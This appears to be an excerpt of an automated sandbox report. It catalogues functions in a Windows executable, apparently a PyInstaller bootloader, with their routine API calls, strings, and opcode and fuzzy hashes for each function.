Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6404E84A3

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 3b4c49a148c6d93be49ada6c8446d085e6d181d97aae771454943d90599d7390
Instruction ID: 2d982544cdd8630cc35464163c093093a424154aa6d2a0564f51409ab334d1d6
Opcode Fuzzy Hash: 3b4c49a148c6d93be49ada6c8446d085e6d181d97aae771454943d90599d7390
Instruction Fuzzy Hash: 42215131A0C762E1FA54FB10E6153EA62A5FF89780F444035EA5D83796DF3CE944C790

Function 00007FF6404E7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF6404E324C,?,?,00007FF6404E3964), ref: 00007FF6404E7642

Strings

%s%c, xrefs: 00007FF6404E75B4
%.*s, xrefs: 00007FF6404E75FB
\, xrefs: 00007FF6404E75A7

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction ID: 9b46986936144f648d47a0e7b2a7a9439cf12a4469b86afd1b15c1f4fe323bbc
Opcode Fuzzy Hash: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction Fuzzy Hash: D131E821A1DAD2E5EA21FB25E8507EA6254FF94BF4F404231EE6D83BC9DF2CD6018740

Function 00007FF6404FC270 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404FC25B), ref: 00007FF6404FC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404FC25B), ref: 00007FF6404FC417

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction ID: 1ef1bf0e5bd98d2ff22e0bb385fbef1a6847c2f9b2b3b3861d2e4785353c280b
Opcode Fuzzy Hash: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction Fuzzy Hash: D791C132E2C672E5F754FB6595502BD2BAAFB44B88F544139DE0EA6B84CF38E4418700

Function 00007FF6404FEC9C Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6404FED8C
_get_daylight.LIBCMT ref: 00007FF6404FED9D
_get_daylight.LIBCMT ref: 00007FF6404FEDAE
_isindst.LIBCMT ref: 00007FF6404FEE79

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction ID: 6c8a11fa80f40a1d9154d283d6d20dd15fa663ec68a0fae0f30d144cd09012e5
Opcode Fuzzy Hash: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction Fuzzy Hash: 5B51F972F0C122DAFB18FF6599456BC37AAAB1035AF500135DE1D96BE5DF38A642C700

Function 00007FF6404F4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6404F4ABF
GetFileInformationByHandle.KERNELBASE ref: 00007FF6404F4B21
GetLastError.KERNEL32 ref: 00007FF6404F4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404F49C4), ref: 00007FF6404F4BFE

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction ID: 75f6c3af5d72fd27f8e01d6fb3b6d0b9943f265b4ae43a3d0d96952bcbb00385
Opcode Fuzzy Hash: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction Fuzzy Hash: 5B516D22E0D661DAFB14FF71D4503BD27AAEB88B58F119535DE0987789DF38E4818740

Function 00007FF6404F4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F4965
CreateFileW.KERNELBASE ref: 00007FF6404F49A4
CloseHandle.KERNEL32 ref: 00007FF6404F49D9

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
Instruction ID: b812c0209f54b6a60e057f1f873657876772e2061edb54fed5764d39b177f2ce
Opcode Fuzzy Hash: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
Instruction Fuzzy Hash: BE41B062E1C79293F354FB6095503696266FBD47A4F109334EAAC83BD1EF6CA1E08700

Function 00007FF6404EBF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404EC12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6404EC140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6404EBF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF6404EBFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6404EC041

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: 4535f9a2bdabda74afa0a46e2157a74f4d229af8e152e6f74e7c852a6d44e2ce
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: 2B314D21E1C273E1FA54FBA495513B91382AF41389F440039EA5DCB7D3DE2DA9468781

Function 00007FF6404F8D48 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6404F8D44), ref: 00007FF6404F8D59
TerminateProcess.KERNEL32(?,?,?,00007FF6404F8D44), ref: 00007FF6404F8D64
ExitProcess.KERNEL32 ref: 00007FF6404F8D73

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction ID: 275b5b68ebe631f5b405311be8789fbbdaaaa0075aa6f363818cb514755840b8
Opcode Fuzzy Hash: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction Fuzzy Hash: DCD06C24B1C62AE6FB6C3B70599917D1226AFA9B55F10193CD85A8A393CE2CA8098340

Function 00007FF6404EF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404EF4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404EF597

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9ca15b9002a87b72fd1966d073ee072d8ab2af6885046d3198ed673a4b76404c
Instruction ID: ca09be03a7b31e671568cd9be017c4c4c3ddd44007bcefd41ad6f2076da691d1
Opcode Fuzzy Hash: 9ca15b9002a87b72fd1966d073ee072d8ab2af6885046d3198ed673a4b76404c
Instruction Fuzzy Hash: C151F961B0D662E6FA28FE35940067A6281FF94BB8F144734DD6C877D5CE3CE4019760

Function 00007FF6404FB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6404FB5DD), ref: 00007FF6404FB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF6404FB5DD), ref: 00007FF6404FB49A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: 11897ebdb6b1aed41625d52ba5738dee62e4ce4432e9c10f9297da2409d0f1b7
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: E811C161B0CAA1D1DA10FB25A94416D6366EB45BF4F640331EEBD87BEACF3CD0508740

Function 00007FF6404F4C34 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404F4B49), ref: 00007FF6404F4C67
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404F4B49), ref: 00007FF6404F4C7D

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
Instruction ID: 47103348cb8be07dd11cd2126138cc3e2b55c2da65ebae6b84f7fd8db31b7a85
Opcode Fuzzy Hash: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
Instruction Fuzzy Hash: A511A33160C6A2D1EB68BB11A45113FB7A5FB85765F501235FAADC1BD8EF2CD014DB00

Function 00007FF6404F9C58 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction ID: 0bccee64ff07e10a3435a72a9376a38827acb2b2b52508163820708f931c66c0
Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction Fuzzy Hash: A9E04610F0C6A2A2FB0CBBF2A8841BA22A69F98704B004034CD1DC2391EE3C68858310

Function 00007FF6404F9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF6404F9CE5,?,?,00000000,00007FF6404F9D9A), ref: 00007FF6404F9ED6
GetLastError.KERNEL32(?,?,?,00007FF6404F9CE5,?,?,00000000,00007FF6404F9D9A), ref: 00007FF6404F9EE0

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: ce65d005f3c599956d7377c05d52b6584ab2b91f09bd573bfdf45ccabada9453
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: 7C219621F1C662A1FE94B7A1A59037D2297DF84798F044239DA2EC77D1CF6CA841C300

Function 00007FF6404FB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FB1E4

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 164a9401b0bfd199dc8034d016670759b34e81a86d5a64e83628a5f98765227c
Instruction ID: 9cf5907d01376cd0e5bb6381034db65cfcb815592214ca52d8606e2caa297b7a
Opcode Fuzzy Hash: 164a9401b0bfd199dc8034d016670759b34e81a86d5a64e83628a5f98765227c
Instruction Fuzzy Hash: 0441DE3290C221E7EA24BB59E95127D73AAEB56B84F140131DA9EC37D0CF3CE802C790

Function 00007FF6404E76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6404E774A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 76e73570fa56eea7b82f0ce9b23ab017b40ede92cf2ea0af6ac7e855768810df
Instruction ID: 79de33e144b85122254a00d928d83cc061d4d76854a3312fe009ac64147d9609
Opcode Fuzzy Hash: 76e73570fa56eea7b82f0ce9b23ab017b40ede92cf2ea0af6ac7e855768810df
Instruction Fuzzy Hash: 10219125B0C672A6FA10FB16A9047BAA641BF95BE4F884430EE4D87786CE7DF042C740

Function 00007FF6404FAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FACD2

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction ID: 05f3f1823e8e69add7a8ad172ae4d9fcce3b3ad2063d67eee3f14008919838cd
Opcode Fuzzy Hash: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction Fuzzy Hash: 7431E461E1C6A2E2F701BB1488413BD365AAF90BA0F420135DA2DC33D2CF7CE4918721

Function 00007FF6404F8C79 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6404F8CA7

Part of subcall function 00007FF6404F8DA0: GetModuleHandleExW.KERNEL32 ref: 00007FF6404F8DC5
Part of subcall function 00007FF6404F8DA0: GetProcAddress.KERNEL32 ref: 00007FF6404F8DDB
Part of subcall function 00007FF6404F8DA0: FreeLibrary.KERNEL32 ref: 00007FF6404F8E02

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction ID: 51d733b6250d5547d370224725a845e3b5ccf9c87fdbc428cb44c683dca630a9
Opcode Fuzzy Hash: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction Fuzzy Hash: D921AE32B19756DAEB24BF64C4402EC33A9FB44328F44063ADA2C8ABC5EF38D444CB50

Function 00007FF6404F52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F5209

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: dc31aa50d951ef221e0474c8df62c83c772d02d4cbe8831db6819300e62d3fa0
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: 1A11A231E1C6A1D2EA60BF51940027EA3AABF95B84F454531EF4CD7B96CF3CE8408B54

Function 00007FF640505664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

